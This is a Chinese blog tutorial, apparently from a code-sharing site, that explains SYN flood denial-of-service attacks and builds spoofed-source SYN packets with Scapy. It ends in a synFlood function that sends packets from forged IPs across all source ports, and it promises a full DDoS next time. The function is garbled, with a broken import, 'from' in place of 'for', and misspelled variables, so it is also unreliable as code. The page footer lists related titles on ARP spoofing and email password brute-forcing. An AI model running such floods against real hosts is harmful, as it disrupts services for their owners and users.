Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python的Django框架中forms表单类的使用方法详解
Jun 21 Python
运动检测ViBe算法python实现代码
Jan 09 Python
python for循环输入一个矩阵的实例
Nov 14 Python
浅谈python的深浅拷贝以及fromkeys的用法
Mar 08 Python
python PyQt5/Pyside2 按钮右击菜单实例代码
Aug 17 Python
python通过robert、sobel、Laplace算子实现图像边缘提取详解
Aug 21 Python
python用类实现文章敏感词的过滤方法示例
Oct 27 Python
利用matplotlib实现根据实时数据动态更新图形
Dec 13 Python
Python中的特殊方法以及应用详解
Sep 20 Python
python opencv通过4坐标剪裁图片
Jun 05 Python
教你怎么用Python selenium操作浏览器对象的基础API
Jun 23 Python
基于Python实现对比Exce的工具
Apr 07 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
求帮忙修改个php curl模拟post请求内容后并下载文件的解决思路
2015/09/20 PHP
PHP文件上传处理案例分析
2016/10/15 PHP
Laravel 5+ .env环境配置文件详解
2020/04/06 PHP
jQuery 动画弹出窗体支持多种展现方式
2010/04/29 Javascript
两种方法实现文本框输入内容提示消失
2013/03/17 Javascript
jQuery中的$.ajax()方法应用
2014/05/06 Javascript
jquery判断单选按钮radio是否选中的方法
2015/05/05 Javascript
javascript用函数实现对象的方法
2015/05/14 Javascript
jquery实现横向图片轮播特效代码分享
2015/11/19 Javascript
SWFUpload多文件上传及文件个数限制的方法
2016/05/31 Javascript
AngularJS表格样式简单设置方法示例
2017/03/03 Javascript
JS实现简易的图片拖拽排序实例代码
2017/06/09 Javascript
关于jQuery里prev()的简单操作代码
2017/10/27 jQuery
vue 设置路由的登录权限的方法
2018/07/03 Javascript
微信小程序开发注意指南和优化实践(小结)
2019/06/21 Javascript
解决vue elementUI中table里数字、字母、中文混合排序问题
2020/01/07 Javascript
Electron实现应用打包、自动升级过程解析
2020/07/07 Javascript
跟老齐学Python之眼花缭乱的运算符
2014/09/14 Python
python刷投票的脚本实现代码
2014/11/08 Python
Python实现在线暴力破解邮箱账号密码功能示例【测试可用】
2017/09/06 Python
django 实现编写控制登录和访问权限控制的中间件方法
2019/01/15 Python
对python:循环定义多个变量的实例详解
2019/01/20 Python
python中dict()的高级用法实现
2019/11/13 Python
Python装饰器的应用场景代码总结
2020/04/10 Python
jupyter 导入csv文件方式
2020/04/21 Python
基于SpringBoot构造器注入循环依赖及解决方式
2020/04/26 Python
浅谈opencv自动光学检测、目标分割和检测(连通区域和findContours)
2020/06/04 Python
基于HTML5陀螺仪实现ofo首页眼睛移动效果的示例
2017/07/31 HTML / CSS
大学生自我评价怎样写好
2013/10/23 职场文书
酒店副总经理岗位职责范本
2014/02/04 职场文书
采购部部长岗位职责
2014/02/06 职场文书
抵押贷款承诺书
2014/05/30 职场文书
居委会四风问题个人对照检查材料
2014/09/25 职场文书
公司表扬信格式
2015/05/04 职场文书
失恋33天观后感
2015/06/11 职场文书
实习证明模板
2015/06/16 职场文书